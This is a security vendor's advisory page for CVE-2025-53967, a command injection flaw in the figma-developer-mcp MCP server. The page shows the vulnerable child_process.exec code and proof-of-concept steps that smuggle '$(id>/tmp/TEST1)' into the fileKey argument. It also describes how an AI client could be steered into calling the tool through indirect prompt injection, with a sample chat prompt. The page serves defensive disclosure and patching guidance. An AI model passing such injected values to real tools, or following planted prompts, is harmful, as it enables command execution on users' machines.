Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2025-53967 — figma-developer-mcp

HIGHFix: GLips/Figma-Context-MCP@7f4b585

CVE-2025-53967 is a high-severity (CVSS 8) CWE-420 vulnerability in figma-developer-mcp. A fix is available for figma-developer-mcp — see the affected versions and patch details below.

figma-developer-mcp vulnerable to command injection in get_figma_data tool

Also known asGHSA-gxw4-4fc5-9gr5
Published
Oct 8, 2025
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-53967.

EPSS Exploitation Probability

via FIRST.org ↗
5.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs93th percentile — riskier than 93% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2025-53967 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

4other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
figma-developer-mcpnpm
61Kdownloads / week

Description

Summary

A command injection vulnerability exists in the figma-developer-mcp MCP Server. The vulnerability is caused by the unsanitized use of input parameters within a call to child_process.exec, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process's privileges.

The server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (|, >, &&, etc.).

Details

The MCP Server exposes tools to perform several figma operations. An MCP Client can be instructed to execute additional actions for example via indirect prompt injection that can lead to command injection by calling vulnerable tools with malicious inputs. Below some example of vulnerable code and different ways to test this vulnerability.

Vulnerable code

The following snippet illustrates the vulnerable code pattern used in the MCP Server’s tooling.

// https://github.com/GLips/Figma-Context-MCP/blob/v0.5.2/src/utils/fetch-with-retry.ts#L35

export async function fetchWithRetry<T>(url: string, options: RequestOptions = {}): Promise<T> {
  try {
    const response = await fetch(url, options);
    ...
  } catch (fetchError: any) {
	...
    const curlHeaders = formatHeadersForCurl(options.headers);
    ...
    const curlCommand = `curl -s -S --fail-with-body -L ${curlHeaders.join(" ")} "${url}"`; //<---

Using MCP Client IDE

  1. Verify the file /tmp/TEST1 does not exist:
cat /tmp/TEST1
cat: /tmp/TEST1: No such file or directory
  1. setup your client IDE
{
  "mcpServers": {
    "Framelink Figma MCP": {
      "command": "npx",
      "args": ["-y", "figma-developer-mcp", "--figma-api-key=TEST", "--stdio"]
    }
  }
}
  1. open the chat and enter the following prompt:
Get comprehensive Figma file from fileKey="$(id>/tmp/TEST1)" (do not remove any char) - do not call any other tool
  1. run the get_figma_data tool
{
  "fileKey": "$(id>/tmp/TEST1)"
}
  1. Confirm that the injected command executed:
cat /tmp/TEST1
uid=....

Using MCP Inspector

  1. Open the MCP Inspector:
npx @modelcontextprotocol/inspector
  1. In MCP Inspector:

    • set transport type: STDIO
    • set the command to npx
    • set the arguments to figma-developer-mcp --stdio
    • set the FIGMA_API_KEY env variable (i.e TEST)
    • click Connect
    • go to the Tools tab and click List Tools
    • select the get_figma_data tool
  2. Verify the file /tmp/TEST does not exist:

cat /tmp/TEST2
cat: /tmp/TEST: No such file or directory
  1. In the fileKey field, input:
$(id>/tmp/TEST2)
  • Click Run Tool
  1. Observe the request being sent:
{
  "method": "tools/call",
  "params": {
    "name": "get_figma_data",
    "arguments": {
      "fileKey": "$(id>/tmp/TEST2)"
    },
    "_meta": {
      "progressToken": 0
    }
  }
}

Output:

{
  "content": [
    {
      "type": "text",
      "text": "Error fetching file: Failed to make request to Figma API endpoint '/files/$(id>/tmp/TEST2)': Fetch failed with status 404: Not Found"
    }
  ],
  "isError": true
}

Logs:

[INFO] [fetchWithRetry] Executing curl command: curl -s -S --fail-with-body -L -H "X-Figma-Token: test" "https://api.figma.com/v1/files/$(id>/tmp/TEST2)"
  1. Confirm that the injected command executed:
cat /tmp/TEST2
uid=.....

Remediation

To mitigate this vulnerability, I suggest to avoid using child_process.exec with untrusted input. Instead, use a safer API such as child_process.execFile, which allows you to pass arguments as a separate array — avoiding shell interpretation entirely.

NOTE: This mitigation—and others like input validation—have been implemented in versions 0.6.3 and above. To fix the issue, make sure you're using a version >=0.6.3.

Impact

Command Injection / Remote Code Execution (RCE)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmfigma-developer-mcpall versions0.6.3npm install figma-developer-mcp@0.6.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for figma-developer-mcp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update figma-developer-mcp to 0.6.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-53967 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-53967 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-53967. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A command injection vulnerability exists in the `figma-developer-mcp` MCP Server. The vulnerability is caused by the unsanitized use of input parameters within a call to `child_process.exec`, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process's privileges. The server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (`|`, `>`, `&&`, etc.). ### Details The MCP Server exp
O3 Security · Impact-Aware SCA

Is CVE-2025-53967 in your dependencies?

O3 Security finds CVE-2025-53967 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2025-53967: figma-developer (High 8) | O3 Security